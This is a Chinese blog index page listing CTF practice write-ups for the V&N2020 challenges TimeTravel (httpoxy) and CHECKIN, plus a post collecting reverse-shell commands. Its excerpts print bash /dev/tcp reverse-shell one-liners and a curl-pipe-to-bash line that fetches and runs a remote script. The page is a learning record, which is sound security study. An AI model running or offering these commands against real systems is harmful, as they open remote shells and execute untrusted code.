2020年3月2日
刷题记录：[V&N2020 公开赛]TimeTravel
摘要： 题目复现链接： "https://buuoj.cn/challenges" 参考链接： "2020 年 V&N 内部考核赛 WriteUp" "V&N公开赛2020 writeup" httpoxy "https://httpoxy.org/" "HTTPOXY漏洞说明" 利用条件： 代码以cgi模 阅读全文
posted @ 2020-03-02 22:37 MustaphaMond 阅读(670) 评论(0) 推荐(0) 编辑
刷题记录：[V&N2020 公开赛]CHECKIN
摘要： 题目复现链接： "https://buuoj.cn/challenges" 参考链接： "2020 年 V&N 内部考核赛 WriteUp" "V&N公开赛2020 writeup" 反弹shell 在用bash反弹失败后就放弃了。。。惭愧。作为弥补，收集一下反弹shell脚本 "反弹shell" 阅读全文
posted @ 2020-03-02 21:18 MustaphaMond 阅读(1067) 评论(0) 推荐(0) 编辑
反弹shell
摘要： 收集一点可能用上的反弹shell命令 bash bash -i >& /dev/tcp/ip/port 0>&1 curl bash -i >& /dev/tcp/192.168.20.151/7777 0>&1 curl http://174.1.73.154/shell.txt|bash PS： 阅读全文
posted @ 2020-03-02 20:53 MustaphaMond 阅读(880) 评论(0) 推荐(2) 编辑